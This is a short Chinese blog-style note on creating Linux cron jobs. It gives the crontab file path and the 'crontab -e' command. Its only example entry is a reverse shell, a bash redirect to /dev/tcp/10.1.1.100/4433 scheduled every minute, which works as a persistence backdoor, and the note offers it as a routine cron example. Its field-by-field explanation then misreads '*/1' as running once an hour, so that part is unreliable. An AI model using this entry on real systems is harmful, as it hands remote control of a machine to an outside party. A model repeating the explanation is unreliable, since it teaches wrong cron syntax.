跳至正文

linux定时任务创建

/var/spool/cron/crontabs/<用户名>

*这是通常cron定时任务表所在的目录,系统中每个用户都对应一个cron表

crontab -e

*运行这个命令会执行编辑cron表的操作

\n\n*/1 * * * * /bin/bash -i>& /dev/tcp/10.1.1.100/4433 0>&1 &\n\n

*这是定时任务的例子
其中
当你在 cron 表达式中使用 1 * * * * 这样的形式时,它表示在每小时的第一分钟执行任务。
具体来说,这个表达式中的各个字段的含义是:

  • 第一个字段(分钟):1 表示指定的分钟数,这里是第一分钟。
  • 第二个字段(小时):* 表示不限制小时数,即每小时都会匹配。
  • 第三个字段(日期):* 表示不限制日期,即每天都会匹配。
  • 第四个字段(月份):* 表示不限制月份,即每个月都会匹配。
  • 第五个字段(星期几):* 表示不限制星期几,即每个星期的任何一天都会匹配。
    所以,这个 cron 表达式表示每小时的第一分钟都会触发相应的任务。最后的&表示后台运行